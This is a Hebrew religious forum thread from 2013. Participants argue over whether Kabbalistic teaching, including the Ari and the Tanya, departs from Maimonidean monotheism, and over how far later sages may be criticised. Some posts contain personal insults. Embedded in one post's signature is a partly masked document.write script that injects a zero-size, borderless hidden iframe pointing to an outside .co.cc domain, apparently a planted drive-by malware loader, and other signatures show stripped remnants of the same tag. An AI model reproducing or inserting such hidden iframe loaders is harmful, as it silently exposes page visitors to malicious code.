|
|
| נשלח ב-10/6/2013 10:12 |
|
| |
דורש
תודה על הדברים.
אני מתייחס לכמה נקודות בדבריך האחרונים ואז אחזור לדברים היפים שכתבת בהודעה בעמוד הקודם.
כתבת:
יכול אדם לומר שכיוון שהוא אינו מזדהה דבריו בפורום הם בגדר מחשבות בלבד, אין זה אקט מעשי לא בדיני אדם ולא בדיני שמיים. על כך אמרתי שאתה חוטא לעצמך לא מיבעי שאתה חוטא לגבוה שעל זה נאמר כל המחלל שם שמיים בסתר נפרעים ממנו בגלוי. אלא עוד ועיקר שדבריך הם כן בגדר אמירה והודע/אה ויש רבים שמושפעים מדבריך דברי בשום אופן לא נועדו להיות "מחשבה" או "אפשרות" אלא הם מייצגים את המסקנות הטובות ביותר שאני מסוגל להגיע אליהן. כמובן איני אומר "קבלו דעתי" (גם אם הייתי רוצה) אלא "בחנו דעתי". שים לב לנקודה זו בבקשה.
אשמח מאד לחשוב שיש כאלו שלמדו ממני לעיין ולחשוב בעצמם על סמך כללי הלוגיקה, השפה ועוד.
זה כמובן סיכון, מפני שמי שמתחיל לחשוב באופן עצמאי, עלול להגיע למסקנות מוטעות. ובאמת אפילו הרמב"ם סבר שאין להפקיד שאלות ונושאים תיאולוגיים בידי כל אדם אלא להניחם למסורת.
מה נעשה שמה שנכלל במסורת שלנו היום התרחב וכולל דברים שאינם ראויים לדעתי?
עוד כתבת
כל מי ששמו נתקדש ביהדות האורטודוכסית - הפרושית ושמו נזכר לדורות הוא בגדר חז"ל לעניין חלול ה'. איני מסכים איתך בזה. ובכמה דברים. ראשית, איני סבור שלומר על מי מן החכמים שטעה זה חילול ה' או בזיון שלו. חכמים נתקדשו בעינינו בגלל דברים אחרים: אהבתם ומסירותם לאמת, יראת השמים שלהם, והידע שלהם בתורה ובחכמה. אבל הידע העצום שלהם אינו שולל את מסוגלותם לטעות. וגם בתלמוד מצאנו שהם טעו לפעמים, ולא נשתבחו אלא בכך שהודו על טעותם ולא שהשתדלו הם או תלמידיהם להסתיר זאת.
קל וחומר למי שאינו מן התלמוד.
וזה שיש בעם ישראל כאלו שמקדשים אותם, האם זה יידרש לשבח או לגנאי? איני סבור כמוך בדבר זה. אני סבור שכיון שאנו מוצאים בעיות תיאולוגיות ואחרות אצל בני הדורות המאוחרים, אז גם אם נתקדש שמם אצל ההדיוטות או אפילו אצל החכמים, אין אנו רשאים להתעלם מטעויות שאנו מגלים אצלם. ואם נתעלם, זה לא יהיה כבוד אלא חנופה.
כמובן יש להעיר על הדברים בזהירות, לגופם של דברים ולא לגופו של אדם.
(ואודה שאני עצמי כתבתי לגופו של אדם אודות ר' חיים ויטאל באחד האשכולות, אך טעמי עמי שהביוגרפיה שלו מציגה אותו באופן פסול. אלא שאיני ממליץ לדון בשאלה כיצד להתייחס אליו כאן אלא באשכול שהוקדש לו).
אני מסכם: לומר על פלוני שטעה לפי דעתי ולפי הוכחותי, אין זה חילול השם ואין זה זלזול אלא בירור. ואדרבה, הסתרת דבר זה הוא מן החנופה.
וזה נכון לא בתחום הקבלה אלא בכל דבר.
ייחסת לי
אמירות מתלהמות כגון ע"ז הרשה לי לא להסכים עמך. אני משתדל לכתוב במתינות ולא בהתלהבות (אלא בנושאים שבהם אני מבקש לעורר יראת שמים ולא להציע ביקורת) ואילו שם התואר "עבודה זרה" או, ליתר דיוק, "מינות", הם שמות תואר שיש להם כללים בהלכה ולכן השימוש בהם אינו מתלהם. לדעתי כמובן.
בהמשך לדבריך אחרונים, אם תשים לב, אני מביע את דעתי אבל גם מבקש הבהרות והסברים.
אתה מציע לשפוט דברים לפי "קונצנזוס היסטורי" ולא לפי "דעת יחיד". גישתי שלי היא אכן שונה. הקונצנזוס הוא כלי בעייתי למדי כמדריך לאמת. במיוחד כאשר הוא נוצר על ידי מי שאינם מומחים לדבר. (יש מומחים לקבלה, אבל לא לפילוסופיה, ואילו חזקתם של הללו הורעה, בעיני, בשל הבעיות הקשות הפילוסופיות המשתמעות מדבריהם. ואילו ההמון, מה הוא להביע דעה ללא בסיס?). אני קורא, כמו תמיד, לבחון את התכנים ולא את האומרים. אתה לעומת זאת מציע להסתמך קודם כל ואחרי הכל על האומרים. זו הצעה יעילה וחוסכת זמן למי שאין בידו לבדוק. המתודולוגיה של הפורום קוראת לנו להשקיע זמן ולבדוק ולא לסמוך על דברי אחרים.
האם אני הוא הקורא ל"פלג חדש" ביהדות או הקבלה של האר"י ושל התניא? נכון שהם הצליחו. נכון שהרבה ישייכו את עצמם לפלג שלהם. אבל האם זה הופך את הפלג שלהם לנכון? היו בעם ישראל תקופות שבהן רבים עבדו ע"ז - סליחה על המשל. האם זה אומר שעבודה זרה נכונה חלילה?
התנית את הדיון בכך שאכבד מקורות. איני יודע למה אתה מתכוון ב"כבוד" זה. אם כוונתך לא לכתוב מילים קשות שאינן מתחייבות על בעלי דעות, אכן כך ראוי לנהוג. אם כוונתך להאמין למישהו רק על סמך זה שפלוני ופלוני מחזיקים ממנו כאדם גדול, ואע"פ שיש סתירות בדבריו או תיאולוגיה החורגת מן המונותיאיזם, איני יודע כיצד ניתן לבקש בקשה כזו.
אם תסתפק בכך שאבטיח לך שאשתדל לעיין בדבריך ככל שאוכל ולבחון אותם, הרי הבטחתי נתונה - בל"נ ולפי מיסת הזמן שאמצא.
אני מוסיף ומצטט מדברים שכתבת בעמוד הקודם, וחלקם יפה בעיני.
נראה לי שיש לך אפי' פחד טראומתי מקבלה ,
זו אבחנה חריפה מאד! אני סבור באמת שהקבלה יצרה טראומה לכל עם ישראל, אבל אפשר בהחלט לומר שזו לשון חריפה שלא רצית שאשתמש בה, ובצדק. על כל פנים, הבה נניח את אישיותי בצד ונתייחס למה שאני אומר ולא למי שאני.
כתבת
אתה לא מסוגל לחשוב על משהוא שיש בו מעבר לאלוקים הפשוט והילדותי שאתה כה אוהב- האלוקים של הרמב"ם,
אני מסכים בהחלט שאני מאמין באלוקים גם כמו ילד קטן, וסבורני שזה דבר טוב. יתכן שחלק מן היחס המורכב מאד שיש לאדם ביחס לאלוקים מבוסס על חויות מעולם הילדות. דוגמא לדבר אפשר למצוא בכתבי הגרי"ד סולוביצ'יק שאכן מבסס את תיאור החויה הדתית שלו על חויות ילדותו. אם התפיסה הילדותית היא לתת אמון כגמול (=פעוט, לשון תהלים) עלי אמו, אז זה נראה לי שבח ולא גנאי. וכן מי שיאמר כי הוא מתפלל לאלוקים בפשטות ובתמימות ואין לו חלק ונחלה בספירות של המקובלים, גם זה ראוי בעיני, וכאן אני מרמז כמובן לתשובתו המפורסמת של הריב"ש.
אבל הרמבם שלך. וכמו שאומרים בישיבת ר"ג על הרצי"ה המשיך את אביו בדרכו שלו...
איני מכיר את תולדות ישיבת "מרכז הרב" ואת מערכת היחסים בין הרב קוק האב לבנו, אבל אני מסכים שהרמב"ם הלך בדרך עצמאית משלו. אכן לדעתי חובה עלינו (או, אם נעדיף, "משימה" לנו) לברר את האמת, ואם הבירור הזה מוליך אותנו בדרך עצמאית, אז למה זה לא טוב? ה' ברא אותנו כדי שנשתמש בכלים שלנו, לא?
 |
|
|
|
|
| נשלח ב-10/6/2013 10:28 |
|
| |
עוד תגובות ברשותך. הבעיה היא שהדיון מתארך מאד בצורה כזו. אבל איני רואה דרך אחרת לענות.
יש לך שאלה על מהות הבורא כיצד הוא מדבר הרי אין לו גוף ,אתה יכול לשאול אבל לתרץ את עצמך שמדובר בזיוף של המקובלים האחרונים בעוד שכל חז"ל מלאים מזה, בא נהיה ראליים...
לא הבנתי מה כוונתך במילים אלו. אין לי שום שאלה איך הבורא מדבר בלי גוף. הוא לא. אני מסביר שלשון זה הוא רק מטאפורה. משל בלשון הרמב"ם. חז"ל לדעתי לא האמינו שלה' יש גוף. (יש חוקרים שטוענים שכן אבל אני סבור שהם טועים).
ושוב, האם למדת פעם תניא? כבר הודת מעל בימה זו (וגם בפני בעבר) שבקושי, אתה אינך מבין בנושא ויותר מכך וכנ"ל באריכות אינך רוצה להבין.
למדתי תניא ואולי אפילו, חלקים מסויימים, במה שנקרא "עיון". אני מעדיף לכתוב תמיד בזהירות שלא למדתי ולא כראוי. ודאי שיש כאלו שמשקיעים בכך את כל חייהם ואני רחוק מזה. אבל ממה שיצא לי לבדוק מול מומחים, התברר לי שיש שאלות או אבחנות שמשום מה לא עלו על דעתם וכנגד זה יש נקודות שבהן יש הבהרות בספרות מאוחרת. אם ההבהרות האלו משקפות את דעת המחבר הראשון זה איני יודע. לכן אני מעדיף לנקוט לשון זהירה ולכתוב משהו כמו "לפי המשתמע לפי מיעוט הבנתי".
יש לזכור כי הטענה של המקובלים, כדבריך, היא שדבריהם אינם נאמרים אלא בהשאלה ובמשל. לכן צריך זהירות רבה. אולי באמת אני מחמיץ משהו יסודי? אני מחכה ללמוד ממך בדבר זה.
ברור שכל המקובלים שאתה כ"כ אוהב לא התכוונו שה' (אותו אחד מאצילות וא"ק ועולמות הא"ס...) דיבר הברות בעלות קול בפה גשמי ושאם ניהיה טובים אולי נוכל לשמוע אותם או את גרגמל.
מדובר כרגיל במשל - אלגוריה בשפתך, הווה אומר ה' הסתום והנעלם מכל רעיון,יורד ממרומי האולימפוס המופשט והא"ס ומגלה ומפריש משהוא מחוץ אליו- המשהוא הזה זה העולם החומרי שלנו ואם תרצה גם כל העולמות העליונים.
כשאנו מסכימים שיש כאן משל באמרנו שה' אמר, בזה כולנו מסכימים.
אבל ראה כיצד אתה מפרש את המשל. טענת שה' "מגלה ומפריש משהו מחוץ אליו". וזה גם העולם שלנו וגם "עולמות עליונים".
אם הבנתי נכון, אתה מציג כאן את העמדה שמכנים בפילוסופיה פנתאיסטית או פן-פנתאיסטית. כלומר שהמציאות שלנו היא המשך או גילוי של אלוקים. שהכל באיזה אופן המשך אחד.
לדעתי זו מינות. ואם תרצה, אבאר, שוב, למה.
ובנקודה זו, שהיא הנחת יסוד, טעו המקובלים אם כך סברו.
הנקודה הזו כמדומה לא התחדשה אצל המקובלים אלא הם קיבלו אותה מאחד מגדולי הוגי הדעות והמיסטיקאים, הלא הוא פלוטינוס. כמובן, זה שגם פלוטינוס הניח כך לא אומר שהוא או הם טעו. אבל כדאי להביא בחשבון שהגישה הזו אולי אינה יהודית מקורית אלא חדרה ליהדות מבחוץ דרך השפעתו הקוסמת (במובן של מרתקת ומושכת) של הנ"ל.
סכה"כ מדובר בדרכה של תורה לדבר כלשון בני אדם ולהסביר גם לרפי שכל בשפה הנאורה שבה הם יכולים להבין.
לכן במקום לרשום מלות קוד כמו הא"ס צמצם את עצמו וגילה לנו רק מה שרצה לגלות, התורה השתמשה בשפה המדוברת ותימללה את הכתובים בנוסח דומה לה' דיבר ה' אמר, עשרה מאמרות וכו'.
בעצם כוונתה הפשוטה לומר שה' גילה את כחו בצורה מוגבלת בדיוק כמו שאדם שמדבר עם חברו אינו מגלה את כל מחשבותיו ומצפוני לבו לפניו, בשביל זה יש פסיכולוג.
נמשיך- כך גם הצירוף והתמורות וכו' אינם באים לומר שרז הבריאה והכח הטמון בה נמצא באותיות,ודאי שלא. האותיות הם משל לדרכים שה' מכסה מהנברא את כוחו עד שהנברא מקבל את צורתו הפרטית.
וכמו בכל שפה, יש הבדל בין משמעותה הכללי של מילה מסוימת לבין כאשר היא מנושאת מענין והקשר מסוים. וכמו לדוגמא המילה אבא במשמעותה הכללי שהיא כוללת מליארדי אנשים וכו' לבין אבא של פלוני שערכה הולך ומתמעט עד כדי יצור אחד בלבד.
כך גם בפשטות ענין שורשי המילים סידורם תמורתיהם וצירופם הכל הולך למקום אחד להראות שהכל נובע מן המקור הכללי שהוא דבר ה' - כלומר כוחו המתגלה אלא שהולכים הדברים ונארגים בכמה מיני הסתרות שונות עד שנראים למהות אחרת. בתקווה שתרצה להבין דורש.
כל דבריך לעיל ראויים לעיון כל אחד בפני עצמו, אבל סבורני שהתיאוריה שלך לגבי מילים כגילוי של אלוקים היא מיותרת. דבריך מתבססים כנראה על ההנחה שהבריאה (וההשגחה, לפי מה שכתוב במקומות אחרים) הן לא רק מה שה' עושה (במובן מושאל) אלא גם נועדו שה' יגלה את כוחו בעינינו. זה משל הטעון התבוננות מפני שיש בו גם, לטעמי, הנחות יסוד שגויות, אם כי השגיאה במקרה זה היא בתחום הערכים. כלומר, לייחס לה' רצון לפרסם את עצמו.
אך יותר מכך: לדבריך מה שה' עושה נעשה לפי כללים וחוקיות שאותה ניתן להבין ואנו נדרשים להבין. חוקיות זו ניתנת לתיאור בסמלים. לפעמים על ידי סמלים של אותיות, לפעמים על ידי סמלים מסוגים אחרים (מספרים, גוף האדם ועוד).
גם זו הנחת יסוד, שיש חוקיות ושיש סמליות שה' רצה בה. אני סבור שלא היו דברים מעולם, ואם יש מי שמאמין בכך, ורואה זאת בעיני רוחו, הרי זה מעשה הדמיון הפרטי שלו וביטוי לתאוותו להבין סודות במקום שאין כאלו.
אני מקוה שהצלחתי להסביר באלו נקודות יש מחלוקת בינינו.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");>
 |
|
|
|
|
|
| נשלח ב-10/6/2013 10:38 |
|
| |
| מיימוני כתב: |  | דורש
זה כמובן סיכון, מפני שמי שמתחיל לחשוב באופן עצמאי, עלול להגיע למסקנות מוטעות. ובאמת אפילו הרמב"ם סבר שאין להפקיד שאלות ונושאים תיאולוגיים בידי כל אדם אלא להניחם למסורת.
מה נעשה שמה שנכלל במסורת שלנו היום התרחב וכולל דברים שאינם ראויים לדעתי?
גם אם נניח שהגעת למסקנה שיש קוצים בכרם ישראל ויש לבערם מדוע אתה חושב שאתה האיש המתאים להיות המוכיח בשער-ועוד ועיקר דיון זה ישן הוא וכבר הלכו בו הנמושות ומה באת לחדש?
עוד כתבת
כל מי ששמו נתקדש ביהדות האורטודוכסית - הפרושית ושמו נזכר לדורות הוא בגדר חז"ל לעניין חלול ה'. איני מסכים איתך בזה. ובכמה דברים. ראשית, איני סבור שלומר על מי מן החכמים שטעה זה חילול ה' או בזיון שלו. חכמים נתקדשו בעינינו בגלל דברים אחרים: אהבתם ומסירותם לאמת, יראת השמים שלהם, והידע שלהם בתורה ובחכמה. אבל הידע העצום שלהם אינו שולל את מסוגלותם לטעות. וגם בתלמוד מצאנו שהם טעו לפעמים, ולא נשתבחו אלא בכך שהודו על טעותם ולא שהשתדלו הם או תלמידיהם להסתיר זאת.
קל וחומר למי שאינו מן התלמוד.
וזה שיש בעם ישראל כאלו שמקדשים אותם, האם זה יידרש לשבח או לגנאי? איני סבור כמוך בדבר זה. אני סבור שכיון שאנו מוצאים בעיות תיאולוגיות ואחרות אצל בני הדורות המאוחרים, אז גם אם נתקדש שמם אצל ההדיוטות או אפילו אצל החכמים, אין אנו רשאים להתעלם מטעויות שאנו מגלים אצלם. ואם נתעלם, זה לא יהיה כבוד אלא חנופה.
כמובן יש להעיר על הדברים בזהירות, לגופם של דברים ולא לגופו של אדם.
(ואודה שאני עצמי כתבתי לגופו של אדם אודות ר' חיים ויטאל באחד האשכולות, אך טעמי עמי שהביוגרפיה שלו מציגה אותו באופן פסול. אלא שאיני ממליץ לדון בשאלה כיצד להתייחס אליו כאן אלא באשכול שהוקדש לו).
אני מסכם: לומר על פלוני שטעה לפי דעתי ולפי הוכחותי, אין זה חילול השם ואין זה זלזול אלא בירור. ואדרבה, הסתרת דבר זה הוא מן החנופה.
וזה נכון לא בתחום הקבלה אלא בכל דבר.
א. אתה לא באת לחלוק על פרט מסוים בדבריהם אלא על כלל תורתם, כאשר ברור שבדיוק בדברים אלו הודו להם(כי הרי בפרטים מצינו שחלקו עמם,לדוגמא הגר"א והאריז"ל וכו'). ב. גם הלגיטמיות שאתה נותן לשיפוט של אנשים שקדמו לך במאות שנים אפי' הם אחרונים הוא לא ממש חלק. זה שחז"ל אמרו על הלל שרי ליה מריה זה מפני שהם היו בני דורו או לפחות מכיון שכבר בדורו חלקו עליו בנושא זה. אך שיבא אדם ויכתוב היום פלפול ויסיים על אחד מגדולי האחרונים כגון הבית יוסף וכו' שרי ליה מריה - ונראה מה יהיה אחריתו...
|
|
 |
|
|
|
|
| נשלח ב-10/6/2013 11:12 |
|
| |
| מיימוני כתב: |  | כל דבריך לעיל ראויים לעיון כל אחד בפני עצמו, אבל סבורני שהתיאוריה שלך לגבי מילים כגילוי של אלוקים היא מיותרת. בהדגשה: האותיות והמילים אינם האלוקות,האותיות הם יסודות הנבראים. כמו התודעה (החכמה בלשון המקובלים) שהיא המונח הראשון בבריאה - בדומה למה שאמר דקארט אני חושב משמע אני קיים, שום נברא לא יכול להוות ישות עצמאית בלי המחשבה. כך כשנרצה לומר השפעה אלוקית מכיון שאין לנו כלים לשפוט את ערך האלוקות נדבר על הצרוף שבה הוא מתגלה- ונבחין האם הוא צרוף כללי או פרטי וכו'. (הדיון בדבר האם האותיות והכלים הם אלוקות קשור לדיון אודות פנטאיזם) דבריך מתבססים כנראה על ההנחה שהבריאה (וההשגחה, לפי מה שכתוב במקומות אחרים) הן לא רק מה שה' עושה (במובן מושאל) אלא גם נועדו שה' יגלה את כוחו בעינינו. זה משל הטעון התבוננות מפני שיש בו גם, לטעמי, הנחות יסוד שגויות, אם כי השגיאה במקרה זה היא בתחום הערכים. כלומר, לייחס לה' רצון לפרסם את עצמו.
אך יותר מכך: לדבריך מה שה' עושה נעשה לפי כללים וחוקיות שאותה ניתן להבין ואנו נדרשים להבין. חוקיות זו ניתנת לתיאור בסמלים. לפעמים על ידי סמלים של אותיות, לפעמים על ידי סמלים מסוגים אחרים (מספרים, גוף האדם ועוד).
גם זו הנחת יסוד, שיש חוקיות ושיש סמליות שה' רצה בה. אני סבור שלא היו דברים מעולם, ואם יש מי שמאמין בכך, ורואה זאת בעיני רוחו, הרי זה מעשה הדמיון הפרטי שלו וביטוי לתאוותו להבין סודות במקום שאין כאלו. שוב אתה חוזר לדרך הסוררת והישנה, למהר"י קארו היה תאווה לסודות ולכן הוא פינטז שמגיד התגלה לו ולימד אותו קבלה,ומכיון שמהרי"ק גם אהב כבוד הוא טרח לרשום את הגילויים האלו עלמנת שיפרסמו את גדלותו. ואין אני מדבר על שאר המדות המגונות שהיו במהרי"ק שהרי כל אחד יכול להבין שמי שיש בו את שורשי פרע המדות הלוא הם הגאווה והכבוד אחריתו מי ישורנו- אני מבקש ממך להפסיק עם זה. אני מקוה שהצלחתי להסביר באלו נקודות יש מחלוקת בינינו.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");> |
|
 |
|
|
|
|
| נשלח ב-10/6/2013 11:44 |
|
| |
אתה מביא גיבובי שטויות וקובע כי זו התורה האמיתית פעם היו בעם ישראל חוזים עד שהגיעו ההוזים המציאו תורות חדשות וסודות כמוסים שאף אחד לא מבין אותם רק המשלים את עצמם שהם מבינים כך הטפשים מרגישים נבוכים שלא הבינו את הבלי ההבלים של התניא, וסופו שמאמינים במשיח הקבור עמוק באדמה.
|
|
|
|
| נשלח ב-10/6/2013 12:04 |
|
| |
מיימוני- אם תקרא את תגובתו של האחר תבין למה אתה צריך להזהר כ"כ בלשונך.
|
|
|
|
| נשלח ב-10/6/2013 12:14 |
|
| |
חוצפן ושחצן כולם צריכים להזהר בלשונם חוץ ממך וחבר מרעיך
|
|
|
|
| נשלח ב-10/6/2013 14:56 |
|
| |
אני נזכר באגרות של האדמוה"ז בהן הוא מתאר מפגשים וויכוחים שונים עם המתנגדים. האמת היא שהרוח היתה הרבה יותר פייסנית ורודפת שלום למרות שהטענות כנגד החסידים היו קשות אף יותר ממה שעולה כאן בפורום. אבל קשה לי קצת נקודת המוצא של הויכוח. הרי פשיטא שהיחס של חסיד חב"ד לדוגמא לקורפוס העצום של כתבי האדמו"רים הוא כשם שהחסידים מכנים אותו - דא"ח. ככזה הוא לא יכול להיות פתוח לשום ביקורת כלל. האהבה מכסה על הכל. האמת היא שזו אולי ההגדרה החדה ביותר של חסיד.
מיימוני רשאי כמובן להביע איזה דעה שירצה. לא רק משום שהפורום מוגדר כפתוח אלא משום שהיהדות היא פתוחה. כלומר היהדות האורתודוקסית מכילה דה פקטו גם מיימונידיים וגם חב"דניקים וגם מחלקי מים קדושים וכותבי קמעות. וכולם כמובן חושבים רק מחשבות טהורות זע"ז. תודה לא-ל אין לנו בית דין גבוה בענייני אמונה. מה שכתבתי עכשיו הוא לא תגלית קוסמית מדהימה. כולנו יודעים זאת.
אני לא רוצה ולא יכול לדרג דעות ואמונות כי אני לא חושב שיש סרגל. אולי יש סרגלים אם כי גם בזה אני לא בטוח. אני כן בטוח שמי שקשור בכל נימי נפשו לתורת רבו, ליבו מתפוצץ לשמע הביקורת. אבל כשם שאבות החסידות ידעו להכיל ביקורת כך צריך כל אדם. אני לא צריך להסכים עם מיימוני כדי לראות שהוא מנסה לעמוד על דברים כפי שהבין מתלמודו. הוא גם לא מתלהם. עם הנחת היסוד שלו שיש קרקע יציבה - מין סרגל - שלאורו ניתן לקבוע מי בפנים ומי בחוץ - אני לא בטוח שאני מסכים. מה גם שהציבור האורתודוקסי הצביע ברגליים שהוא לא נכנס לזה.
שלל כינויי הגנאי הם נחמדים וחלק בלתי נפרד מהדיון התורני מאז הווסדו - מזכיר לי את שיר הילדים הנודע "בדרך התורה נלך...". אבל לדעתי זה לא שייך כאן כי ברור לכל שכאן נוהג דרור מסויים המאפשר לחברות והחברים לבדוק רעיונות שייתכן שאין לדיון בהם במה אחרת. אם מישהו חושב שאמונתו תיפגע שלא ייכנס. לגבי טענת החילול ה' יש לי נטייה לחשוב שאולי ההפך הוא הנכון.
 |
|
|
|
|
| נשלח ב-10/6/2013 15:22 |
|
| |
דורש יקירי
העלית כמה נקודות הטעונות התייחסות.
שאלת
גם אם נניח שהגעת למסקנה שיש קוצים בכרם ישראל ויש לבערם מדוע אתה חושב שאתה האיש המתאים להיות המוכיח בשער-ועוד ועיקר דיון זה ישן הוא וכבר הלכו בו הנמושות ומה באת לחדש?
יש כאן שתי שאלות ולמעשה הן סותרות זו את זו.
הראשונה, למה אני. ובכן, כפי שכתבו לפני, כיון שאף אחד לא עשה זאת, אני עושה זאת.
השניה, לדבריך לא זו בלבד שזה נעשה, אלא אפילו בידי רבים ואפילו בידי "נמושות". מי הם והיכן היה התיקון הזה?
א. אתה לא באת לחלוק על פרט מסוים בדבריהם אלא על כלל תורתם, כאשר ברור שבדיוק בדברים אלו הודו להם(כי הרי בפרטים מצינו שחלקו עמם,לדוגמא הגר"א והאריז"ל וכו'). ב. גם הלגיטמיות שאתה נותן לשיפוט של אנשים שקדמו לך במאות שנים אפי' הם אחרונים הוא לא ממש חלק. זה שחז"ל אמרו על הלל שרי ליה מריה זה מפני שהם היו בני דורו או לפחות מכיון שכבר בדורו חלקו עליו בנושא זה. אך שיבא אדם ויכתוב היום פלפול ויסיים על אחד מגדולי האחרונים כגון הבית יוסף וכו' שרי ליה מריה - ונראה מה יהיה אחריתו... א. נכון מאד. הרי הראיתי לך בדברי לעיל מה הן הנחות היסוד של הדיון הקבלי ומדוע הנחות אלו מנוגדות למונותיאיזם. וכעת, מה התשובה? היכן הטעות שלי לדעתך? (במהות, לא בעצם הפנית שאלה למי שנחשבים לגדולי עולם). ב.אין צורך להיות "חלק" כאשר לומדים נושא. כפי שכתבתי ואכתוב שוב, קיבלנו את התורה על מנת ללמדה ולדון בה, ושום חכם אינו פטור מן החובה לבאר דבריו מקושיות. ואין קושיה זלזול. ג. אתה צודק שהביטוי "שרא ליה מריה" אינו מקובל בהפרש של דורות והוא ייחשב כפגיעה. מצד שני, כאשר אדם שנחשב גדול בישראל מביע דעות שהן מינות מצד תוכנן, איך צריך להתייחס לכך לדעתך? אשמח ללמוד. שים לב שהאמירה "אבל זו לא מינות" לא מהוה תשובה לשאלה. השאלה שלי היא איך ראוי לבטח את הביקורת על דעה שהיא כן מינות. את הדברים הבאים לא הצלחתי להבין כמעט כלל. בהדגשה: האותיות והמילים אינם האלוקות,האותיות הם יסודות הנבראים. כמו התודעה (החכמה בלשון המקובלים) שהיא המונח הראשון בבריאה - בדומה למה שאמר דקארט אני חושב משמע אני קיים, שום נברא לא יכול להוות ישות עצמאית בלי המחשבה. כך כשנרצה לומר השפעה אלוקית מכיון שאין לנו כלים לשפוט את ערך האלוקות נדבר על הצרוף שבה הוא מתגלה- ונבחין האם הוא צרוף כללי או פרטי וכו'. (הדיון בדבר האם האותיות והכלים הם אלוקות קשור לדיון אודות פנטאיזם) האם כוונתך ש"חכמה", "בינה", "דעת" וכו' אינן ספירות ואינן ישים אלוהיים לפי הקבלה? לי ידוע אחרת. אולי כדאי להפנות לספרות, במיוחד לאר"י ולתניא, ולראות איך משמשים שם צירופי האותיות. יש לשים לב שהקביעה שכתבתי, כי האותיות הן ישים אלוהיים, אינה קשורה לוגית לקביעה שכל הבריאה היא אלוהות כשיטת התניא (והחסידות). כמדומה שגם לשיטת האר"י לא כל הבריאה היא אלוהות. ניתן, אני משער, לסדר את המציאות בדגם מדורג. א. האלוקים הנסתר, בחינת אין ב. הישים האלוהיים שיוצרים יחד את העולמות האלוהיים ג. עולמנו. הדגם הזה פשטני מאד, ואין הוא מכסה את העולמות של הסטרא אחרא, אף לא מאזכר את העושר הגדול של העולמות האלוהיים. אולם די בו לצורכי. הטענה שגם רובד ג' הוא אלוהות זו הגישה הפנתיאסטית. אם זכרוני אינו מטעני, זו טענה שמתחדשת עם החסידות. הטענה שרובד ב הוא אלוהות היא היא הטענה שמופיעה עם הבהיר. והיא כמובן אינה קיימת ברובד של ספר יצירה. והיא היא המינות שאליה התכוונתי לפי הרמב"ם. את דבריך שלך לא הצלחתי להבין. אציין דוגמא אחת. מהי החכמה לפי ההסבר שלך? האם היא אלוהות, יש אלוהי? (כמו כן יש לדון על התפקיד השיטתי שיש לישות זו לפי הסברך. האם כוונתך שאם לאדם יש מחשבה אז גם לאל יש מחשבה שחייבת למלא תפקיד בתהליך הבריאה? אם כן, אזי לפנינו דוגמא לבעייתיות שמניעה את הקבלה. הנסיון להחיל הסברים אנושיים על מה שאינו טעון הסבר כלל). ביקשת ממני לא להתייחס לטענה שמקובלים מונעים על ידי תאוה לדעת סודות. איני יודע מה לעשות כעת. אני סבור שהרצון לגלות סודות הוא אנושי ומהותי לאדם. אבל כאשר מניחים לו להוליך אותנו למחוזות שבהם אין מה לדעת, כי פשוט אין, זה מוביל לתופעות כמו פרשנות יתר, המצאת ישים חדשים, ועוד ועוד. הדיון הפסיכולוגי הזה אינו קשור למניעים אחרים, שגם הם מאופיינים כפסולים, כמו תאות כבוד. בניגוד לך כנראה, אני סבור שמידה כמו תאות כבוד יכולה לא רק להזיק אלא גם לתרום. בלעדיה, האם היו כה הרבה תגליות מדעיות ותרומות כספים גדולות? נכון שאנו מצפים מתלמיד חכם או אפילו מקובל שלא יניח למניעים כאלו להשפיע עליו. אבל הרצון לכבוד הוא בסיסי מאד. אולי כל מה שניתן לצפות לו הוא התמודדות עם הנושא בתוך תוכנו? ושוב, זה כבר נושא חדש לגמרי.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");>
 |
|
|
|
|
| נשלח ב-10/6/2013 15:25 |
|
| |
ירובעל
איקון ירוק.
זה עושה רושם שכל מה שכתבת נכון...
יש חלקים בדבריך שהייתי שמח אילולא היו נכונים - כמו העובדה שהציבור שלנו שמתחנך לאמונה בלתי ביקורתית יצביע ברגלים כדי לא להתמודד עמהם... וזה לא רק בקבלה.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");>
|
|
|
|
| נשלח ב-10/6/2013 15:37 |
|
| |
הרב מימוני
יש פרסומת בצידי הפורום- לשלוח קוויטל לרבי ז"ל ביום היאר צאייט שלו, לישועות והצלחות וכו'
כדאי לנסות, גם מנשה המלך ניסה את כל עבודה זרה.
אם זו לא עבודה זרה- קשה לדעת עבודה זרה מה היא.
|
|
|
|
| נשלח ב-10/6/2013 15:45 |
|
| |
| ירוחםשמ כתב: |  | הרב מימוני
יש פרסומת בצידי הפורום- לשלוח קוויטל לרבי ז"ל ביום היאר צאייט שלו, לישועות והצלחות וכו'
כדאי לנסות, גם מנשה המלך ניסה את כל עבודה זרה.
אם זו לא עבודה זרה- קשה לדעת עבודה זרה מה היא. |
|
פשוט שזה לא עבודה זרה. השתטחות על קברי צדיקים היא לא משהו חדש. אני לא נכנס לשאלה האם זה נכון או האם זה סביר ובפרט בחלק מהביטויים של זה. אבל האם זה עבודה זרה במובן שלהוציא אדם להורג כמצוות התורה? גם אתה לא תאמר כך. ממילא אתה אומר עבודה זרה וממימוני אומר מינות ודורש אומר כופר והכל אופן דיבור בעלמא.
תוקן על ידי yerubaal ב- 10/06/2013 15:51:28
|
|
|
|
| נשלח ב-10/6/2013 16:01 |
|
| |
| מיימוני כתב: |  |
יש חלקים בדבריך שהייתי שמח אילולא היו נכונים - כמו העובדה שהציבור שלנו שמתחנך לאמונה בלתי ביקורתית יצביע ברגלים כדי לא להתמודד עמהם... וזה לא רק בקבלה. |
|
צריך להכיר בכך שא"א כל הזמן לבחון באופן ביקורתי את יסודות אמונותיך לא אינטלקטואלית ולא רגשית. מישהו שיעסוק כל הזמן בניתוח אהבתו לאישתו לא יישאר נשוי לאורך זמן
אני מסכים שגם בחוסר ביקורתיות אפשר להגזים ואין ספק שהציבור לפעמים מחמיר מאד בזה (ודרך אגב לא רק הציבור החרדי)
|
|
|
|
| נשלח ב-10/6/2013 16:11 |
|
| |
ירובעל
אתה זוכה באיקון ירוק שני ברציפות! ויותר על הרישא מאשר על הסיפא.
